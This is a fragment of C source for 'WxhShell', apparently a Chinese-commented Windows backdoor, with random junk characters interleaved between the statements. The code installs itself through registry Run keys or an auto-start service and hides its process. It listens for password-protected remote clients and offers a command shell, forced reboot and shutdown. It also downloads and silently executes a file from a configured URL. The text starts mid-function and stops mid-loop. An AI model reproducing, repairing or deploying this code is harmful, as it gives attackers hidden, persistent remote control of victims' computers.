mNMI 0.&-1pw HANDLE hProcess; ;!B,P-Z"g PROCESS_BASIC_INFORMATION pbi; bb}Fu/S _2WW0 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A$n: if(NULL == hInst ) return 0; <m> m"|G 5nXmaj g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t4UL|fI g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \s6VOR/ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *-&+;|mM L]E.TvM1* if (!NtQueryInformationProcess) return 0; oxug
L|p+;ex hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w&*oWI$i if(!hProcess) return 0; eMtQa;Lc9o #i=m%>zjN if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i)(-Ad_ 13A~."b CloseHandle(hProcess); gkDXt^Ob rQ(u@u; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C[CNJ66 if(hProcess==NULL) return 0; $ve*j=p ft$!u-` HMODULE hMod; A]MX^eY char procName[255]; ir~4\G! unsigned long cbNeeded; |(=b $XcuU
sG if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }"STc&1 Qx8O&C?Ti CloseHandle(hProcess); H-3*},9 /}k?Tg/ if(strstr(procName,"services")) return 1; // 以服务启动 !O4)YM TiKfIv return 0; // 注册表启动 LC qWL1 } S&F;~ x_- SAyH // 主模块 ywj'O
e41 int StartWxhshell(LPSTR lpCmdLine) ~<"{u-q#K { 7*r!-$ SOCKET wsl; 0GQKM~|H BOOL val=TRUE; R]l2,0: int port=0; QtLd(&
!v struct sockaddr_in door; aZmac'cz{ VDlP,Mm* if(wscfg.ws_autoins) Install(); F1/BtGvQE QwLSL<. port=atoi(lpCmdLine);
|P-kyY34 M
%!O)r#Pn if(port<=0) port=wscfg.ws_port; @=K*gbq5 q:mqA$n WSADATA data; *JO%.QNg if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '`&b1Rc G@U}4'V9 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Jm 1n|f setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HMw}pp: door.sin_family = AF_INET; w$aejz`[ door.sin_addr.s_addr = inet_addr("127.0.0.1"); >:0^v'[ door.sin_port = htons(port); =WK's8FB;8 "Mh}n-oju if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9u>X,2gUR closesocket(wsl); jSw>z`'#H return 1; <1<0 odB } M&KJZ /}S1e P6 if(listen(wsl,2) == INVALID_SOCKET) { EQX?Zs?C closesocket(wsl); q&esI return 1; B3p79j } GmZ2a-M
Wxhshell(wsl); JykN EMB# WSACleanup(); < Q6 b<BkI""b return 0; "YN6o_*] LAuaowE\v } o[g]Va*8 (R!`Z% // 以NT服务方式启动 ,#hNHFa'JH VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WyUa3$[gO { HG3iK DWORD status = 0; ;oOv~YB7H DWORD specificError = 0xfffffff; [jTZxH< )Mh5q&ow serviceStatus.dwServiceType = SERVICE_WIN32; {"_V,HmEF+ serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]:Pkh./ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EE*FvI` serviceStatus.dwWin32ExitCode = 0; X3l6b+p serviceStatus.dwServiceSpecificExitCode = 0; rfOrh^ serviceStatus.dwCheckPoint = 0; yJ!,>OQ%' serviceStatus.dwWaitHint = 0; <o@__l. 8O0]hz hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NZ-57Ji if (hServiceStatusHandle==0) return; } A}Vd:# _3{8Zg status = GetLastError(); r|3<UR% if (status!=NO_ERROR) 3u'@anre { F
7X] h serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Yji34eDZ serviceStatus.dwCheckPoint = 0; k"+/DK,: serviceStatus.dwWaitHint = 0; *enT2Q serviceStatus.dwWin32ExitCode = status;
CL5t6D9Qi serviceStatus.dwServiceSpecificExitCode = specificError; 5oR) SetServiceStatus(hServiceStatusHandle, &serviceStatus); C <H$}f return; zS `>65}e } > (W\Eh{J E :UJ"6 serviceStatus.dwCurrentState = SERVICE_RUNNING; j:0<
tjE serviceStatus.dwCheckPoint = 0; ~(eD 4" serviceStatus.dwWaitHint = 0; vH@b if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v&xhS
yZ } zI_pP?4;.q SA~oGgk=P // 处理NT服务事件,比如:启动、停止 L/,M@1@R VOID WINAPI NTServiceHandler(DWORD fdwControl) Kk>va->R { #^w8Y'{? switch(fdwControl) =!=DISPo { D;Y2yc[v case SERVICE_CONTROL_STOP: hmv*IF. serviceStatus.dwWin32ExitCode = 0; D\ P-|} serviceStatus.dwCurrentState = SERVICE_STOPPED; qR^+K@*| serviceStatus.dwCheckPoint = 0; C`\yc_b9Pf serviceStatus.dwWaitHint = 0; -IL' (vx { {%z5^o1) SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7/bF04~% } la{o<||Aq return; lht :%Ts$ case SERVICE_CONTROL_PAUSE: `91?^T;\F serviceStatus.dwCurrentState = SERVICE_PAUSED; l(~NpT{=V break; F "-GhjK case SERVICE_CONTROL_CONTINUE: ]gVW&3ZW serviceStatus.dwCurrentState = SERVICE_RUNNING; i7`/"5I break; z"Wyf6H0T case SERVICE_CONTROL_INTERROGATE: >"D0vj break; V""3#Tw }; SKJ'6*6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); xsg55` } kj`h{Wc[) T>m|C}yy // 标准应用程序主函数 `Wu.wx int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JgB"N/Oz { <'O|7.
^^ 3#h@,>Z; // 获取操作系统版本 >x${I`2w OsIsNt=GetOsVer(); #$JY&!M GetModuleFileName(NULL,ExeFile,MAX_PATH); <KZ J E>kgEfzxP // 从命令行安装 UL3u2g;d if(strpbrk(lpCmdLine,"iI")) Install(); e_llW(*l8^ #G("Oh // 下载执行文件 jC'Diu4|Q if(wscfg.ws_downexe) { 5,du2 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vH{JLN2 WinExec(wscfg.ws_filenam,SW_HIDE); V4|l7 } IKnXtydeI} qhNYQ/uS if(!OsIsNt) { /z4n?&tM // 如果时win9x,隐藏进程并且设置为注册表启动 8[u$CTl7a HideProc(); cB7'>L StartWxhshell(lpCmdLine); Y%8[bL$
d } IR"=8w#MP else ~.Cu,>fV if(StartFromService()) -7m7.>/M // 以服务方式启动 xUDXg* StartServiceCtrlDispatcher(DispatchTable); G V% @A else y{QF#&lW // 普通方式启动 }?Tz=hP StartWxhshell(lpCmdLine); A )xfO- Uy$?B"Z return 0; *"j3x}
U< } Oy yE0 ?I 7hbqQd C oO0~q Ml+O -
3T =========================================== Ce_l\J8G 3$ BYfI3H j8ag}% zG~nRt{4 $ !:xjb k#<Y2FJa " L_fiE3G|> X1GM\*BE #include <stdio.h> v;IuB #include <string.h> Ai5D[ykX #include <windows.h> s@|TQ9e |j #include <winsock2.h> HeM- #include <winsvc.h> 'dcO-A:> #include <urlmon.h> 01o,9_|FL V Rz9;=m #pragma comment (lib, "Ws2_32.lib") 4|KtsAVp{ #pragma comment (lib, "urlmon.lib") >('Z9<|r: eed!SmP #define MAX_USER 100 // 最大客户端连接数 $~:|Vj5iZ\ #define BUF_SOCK 200 // sock buffer d7v_> #define KEY_BUFF 255 // 输入 buffer \Gy+y` 8#15*'Y #define REBOOT 0 // 重启 _E
xd: #define SHUTDOWN 1 // 关机 CI@qT}Y_ ?.,2EC=+ #define DEF_PORT 5000 // 监听端口 {_]<mw d YMn_9s7< #define REG_LEN 16 // 注册表键长度 ;r3|EA35 #define SVC_LEN 80 // NT服务名长度 \_3#%%z A]OVmw // 从dll定义API *@[+C~U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6q~*\KRk typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CL"q" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *x&y24 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iFaC[(1@a z229:L6" // wxhshell配置信息 w&LL-~KI+ struct WSCFG { HH'5kE0;d int ws_port; // 监听端口 |1Pi`^ char ws_passstr[REG_LEN]; // 口令 s
F3M= uz int ws_autoins; // 安装标记, 1=yes 0=no w-?Cg8bq< char ws_regname[REG_LEN]; // 注册表键名 x-@6U char ws_svcname[REG_LEN]; // 服务名 ZVz`-hB char ws_svcdisp[SVC_LEN]; // 服务显示名 t}-rN5GO char ws_svcdesc[SVC_LEN]; // 服务描述信息 R?+:Js/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3ypf_]< int ws_downexe; // 下载执行标记, 1=yes 0=no JiCy77H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `i3fC&?C char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d]QCk&XU w"BMJ+ }; 3(>NS ?lX 'A9U[| // default Wxhshell configuration w}``2djR'W struct WSCFG wscfg={DEF_PORT, S$Fq1 "xuhuanlingzhe", ^ot9Q 1, bGa"r "Wxhshell", pn4~?Aua0/ "Wxhshell", /&G )IY]g "WxhShell Service", Fx' E"d "Wrsky Windows CmdShell Service", $7bux1L "Please Input Your Password: ", FK.Qj P: 1, V2_I=]p_ "http://www.wrsky.com/wxhshell.exe", dSIZsapH "Wxhshell.exe" M]M(E) *5 }; /a:L"7z $+@xwuY'+ // 消息定义模块 RT+_e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5mB'\xGO2 char *msg_ws_prompt="\n\r? for help\n\r#>"; z7um9g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TeWpdUCO char *msg_ws_ext="\n\rExit."; P0XVR_TJf char *msg_ws_end="\n\rQuit."; dNgjM
Q char *msg_ws_boot="\n\rReboot..."; APT/z0X> char *msg_ws_poff="\n\rShutdown..."; 2x dN0S char *msg_ws_down="\n\rSave to "; yaKw/vV bcC+af0L char *msg_ws_err="\n\rErr!"; Ve^rzGU char *msg_ws_ok="\n\rOK!"; j\.\ePmk] sn?YD'>k char ExeFile[MAX_PATH]; HrS int nUser = 0; 6$6Qk !% HANDLE handles[MAX_USER]; (w{C*iB int OsIsNt; +2S#3m?1 )90K^$93" SERVICE_STATUS serviceStatus; R
SqO$~ SERVICE_STATUS_HANDLE hServiceStatusHandle; 'or8CGr^p *q |3QHZ // 函数声明 k?'<f int Install(void); B[nkE+s int Uninstall(void); \]+57^8r int DownloadFile(char *sURL, SOCKET wsh); N(BCe\FV int Boot(int flag); `<^1Ik[g void HideProc(void); 3WQ"3^G int GetOsVer(void); 2rJeON int Wxhshell(SOCKET wsl); bjYaJtn void TalkWithClient(void *cs); #Do#e
{=+ int CmdShell(SOCKET sock); 2OQDG7#Kc int StartFromService(void); B!zqvShF int StartWxhshell(LPSTR lpCmdLine); cJ!C=J CxRhMhvP VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y;6%pm $ VOID WINAPI NTServiceHandler( DWORD fdwControl ); e3b|z.^ 8
6`l7saHXE // 数据结构和表定义 WYNO6Xb#: SERVICE_TABLE_ENTRY DispatchTable[] = f:|O);nM { hXx. {wscfg.ws_svcname, NTServiceMain}, ?\$\YX%/p {NULL, NULL} [.`%]Z( }; q^k]e{PD @ME
. // 自我安装 N_Y*Z`Xb int Install(void) /l@h[}g+d- { 2>!?EIE7 char svExeFile[MAX_PATH]; EU"J'? HKEY key; CiSl0 strcpy(svExeFile,ExeFile); Yab=p
9V;; ~ GW8|tw // 如果是win9x系统,修改注册表设为自启动 "~HV!(dRMC if(!OsIsNt) { '{(/C?T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xMAb=87_
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cXo^.u RegCloseKey(key); Lb}
cjI: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pRLs*/Bw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;&%G)f RegCloseKey(key); r(::3TF%#q return 0; --9Z } Nu%:7 } hfuGCD6F` } ' N?t=A else { 3 @7<e~f -d8||X[ // 如果是NT以上系统,安装为系统服务 M?fRiOj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /K@{(=n if (schSCManager!=0) +\ O[)\ { Udh!%QP%[w SC_HANDLE schService = CreateService bhb*,iWA ( !(wH}ti schSCManager, 11Hf)]M
wscfg.ws_svcname, tSvklI wscfg.ws_svcdisp, U.B=%S SERVICE_ALL_ACCESS, {k}EWV SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j$8i!C SERVICE_AUTO_START, q
T pvz SERVICE_ERROR_NORMAL, {UR&Y svExeFile, j2/3NF5& NULL, pt!Q%rXm NULL, 3]9twfF 'J NULL, Jqt&TqX@s NULL, >`@yh-'r NULL S=wJ{?gzAK ); K{s%h0 if (schService!=0) &PAgab2$ { %V CfcM}5I CloseServiceHandle(schService); 1xkU;no CloseServiceHandle(schSCManager); #1C~i}J1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9C{\=?e; strcat(svExeFile,wscfg.ws_svcname); 3koXM_4_{) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3oCw(Ff RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8uO@S*)0 RegCloseKey(key); qWzzUM1= return 0; l^IPN'O@ } {vJ)!'Eh } P;dp>jL CloseServiceHandle(schSCManager); u8wZ2j4S } O(( kv|X4 } 0kD8w j% Yv`8{_8L return 1; I'[hvp } z]YP zTa>MzH1-; // 自我卸载 5w#*JK int Uninstall(void) '%m0@5|hCD { 7(<49bb.V HKEY key; =!#iC?I 4#qjRmt if(!OsIsNt) { $pT%7jV} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <}E^r_NvD RegDeleteValue(key,wscfg.ws_regname); #NVqS5 RegCloseKey(key); WR*|kh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hhbf9) RegDeleteValue(key,wscfg.ws_regname); ikGH:{ RegCloseKey(key); yMNLsR~ rh return 0; LxGE<xj|V% } #c0
dZ } l}DCK } IKK<D'6 else { K+` Vn :);]E-ch SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NS
l$5E if (schSCManager!=0) 5g-apod { vl@t4\@3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1 ]@}+H if (schService!=0) 9@yP;{Q { p0.?R if(DeleteService(schService)!=0) { n(Up?_ CloseServiceHandle(schService); $l&&y?() CloseServiceHandle(schSCManager); ~?}/L'q!b return 0; (/_Q
r2KfC } P#H#@:/3 CloseServiceHandle(schService); gKZ{ O } |<.b:e\4 CloseServiceHandle(schSCManager); 6bg+U`&g } 0NSn5Hq } 0;)6ZU |zu>G9m return 1; K)qbd~<\ } sQ^>.yG Y\T*8\h_[ // 从指定url下载文件 rI}E2J int DownloadFile(char *sURL, SOCKET wsh) ~zz |U!TG { ru`;cXa, HRESULT hr; T^a {#B char seps[]= "/"; 13Z6dhZu char *token; ;f-|rC_" char *file; W4CI=94 char myURL[MAX_PATH]; $/C<^}A char myFILE[MAX_PATH]; 71tMX[x ]tZ5XS strcpy(myURL,sURL); h6x+.}} token=strtok(myURL,seps); &1Fcwj while(token!=NULL) EGwY|+3 { ABV\:u file=token; lkg-l<c\J token=strtok(NULL,seps);
F!>K8 q } 1A-8,) Hcd> \0 GetCurrentDirectory(MAX_PATH,myFILE); i&,U);T strcat(myFILE, "\\"); ~,e!t.339 strcat(myFILE, file); t%z7#}9$ send(wsh,myFILE,strlen(myFILE),0); IQ{Xj3;?y send(wsh,"...",3,0); ^@L[0Z` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U8-9^}DBA if(hr==S_OK) ~+>M,LfK return 0; wZa;cg.-q else (r[<g*+3 return 1; A2&&iL=j/ f
5i`B*/ } wHZ!t,g W? UCo6<m // 系统电源模块 0h shHv- int Boot(int flag) \N#)e1.0P { xN"KSQpu HANDLE hToken; \Di~DN1 TOKEN_PRIVILEGES tkp; pjj
5 0acY@_ if(OsIsNt) { N2&aU?`e OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y0B*.H
Ae LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mFF]d
tkp.PrivilegeCount = 1; 3/rvSR! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]|`gTD6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jPU#{Wo# if(flag==REBOOT) { L7Oytdc< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /#G"'U/ return 0; {t/!a0\HS } <M'IRf/D else { 9_>4~!x` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .`'SL''c return 0; Bhq(bV } @I"Aet'XV } ,O~2
R else { C-Fp)Zs{0 if(flag==REBOOT) { '*,4F' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j[U0,] return 0; c?R.SBr,' } _TPo=}Z else { jATU b- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H4:TYh return 0; 6$6NVq } ESrWRO
f9 } X3m?zQbhv *Ra")(RnDK return 1; n&C9f9S } zRJy3/> j=AJs< // win9x进程隐藏模块 oNU* q.Q void HideProc(void) ONGe/CEXT { mW-@-5Wda I(<G;ft<} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u3. PHZ if ( hKernel != NULL ) >rFvT>@NU { GC\/B0! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ez$5wY^J ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n#&RY%#` FreeLibrary(hKernel); Mc}x]j`f } t!u*6W|@ S-/#3 return; blN1Q%m6 } Qx,G3m[} -mkync3 // 获取操作系统版本 bp$jD int GetOsVer(void) O(~Vvoq { ;:e,C@Fm OSVERSIONINFO winfo; g^C6"rsnl winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(KQt%] GetVersionEx(&winfo); OXacI~C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *(scSC> return 1; ]Cz16e&=2 else aBI]' D; return 0; >Qx#2x+ } 2>!ykUw^O m5p~>]}fYF // 客户端句柄模块 " /'=gE int Wxhshell(SOCKET wsl) L,D>E { ~/x42|t SOCKET wsh; e"CLhaT struct sockaddr_in client; F:@Ixk?E DWORD myID; }6bLukv $ vjmW!
O while(nUser<MAX_USER) $~YuS_sYg { c~'kW`sNV int nSize=sizeof(client); @iRVY|t/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1}uDgz^ if(wsh==INVALID_SOCKET) return 1; z )pV$ I7~|!d6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9>#|~P&FE if(handles[nUser]==0) Fq9[: closesocket(wsh); 9vbh5xX
else 7xc<vl#:q7 nUser++; Xdq,
=; } W$JA4O>b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'MUrszOO.e qc6IH9i` return 0; %yMzgk[u } `-H:j:U{ YzZF^q^I // 关闭 socket .HBvs=i void CloseIt(SOCKET wsh) (6BCFl:/Q< { Vd0GTpB?1 closesocket(wsh); qj6`nbZ{va nUser--; 1pb;A;F,A ExitThread(0); 0uz"}v) } '/H(,TM AVr!e
// 客户端请求句柄 S>,I&`yi void TalkWithClient(void *cs) &FrB6y { 9^ r C'._}\nX SOCKET wsh=(SOCKET)cs; iW?9oe char pwd[SVC_LEN]; 1,j9(m2 char cmd[KEY_BUFF]; QP B"EW char chr[1]; ^PQV3\N int i,j; _")h
%)f |&Pl 4P while (nUser < MAX_USER) { OD]J@m "AouiZkh if(wscfg.ws_passstr) { $)3PF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5 DB>zou
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WO-WoPO //ZeroMemory(pwd,KEY_BUFF); ^eW.hNg i=0; ?X'*
p<` while(i<SVC_LEN) { !7)ID7d #'x?)AS // 设置超时 WQpJd7 fd_set FdRead; :6?&FzD` struct timeval TimeOut; 3-bcY4 FD_ZERO(&FdRead); W6O.E FD_SET(wsh,&FdRead); ikhX5
&e TimeOut.tv_sec=8; ku;nVV TimeOut.tv_usec=0; l,u{:JC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V@:=}*E if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^qqHq ?Q)Z..7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); winJ@IY W pwd=chr[0]; C/waH[Yzan if(chr[0]==0xd || chr[0]==0xa) { UWp8I)p!\O pwd=0; l _O~v? break; DH9?2)aR } ~Ls I<z i++; 9Nu#&_2R } |V\.[F2Fe *'YNRM\} // 如果是非法用户,关闭 socket 1ckw[ 0d if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;CMC`h9, } 23$hwr&G\ |u"R(7N* send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #>jH[Q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8MeXVhM gVU\^KN] while(1) { pMp9O/u% 3Z:!o$ ZeroMemory(cmd,KEY_BUFF); htYrv5q=M -Y=c g; // 自动支持客户端 telnet标准 d:pm|C|F j=0; %`T5a< while(j<KEY_BUFF) { M3@fc,Ch if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6Y)^)dOi cmd[j]=chr[0]; !*Z)[[ if(chr[0]==0xa || chr[0]==0xd) { !7`=rT& |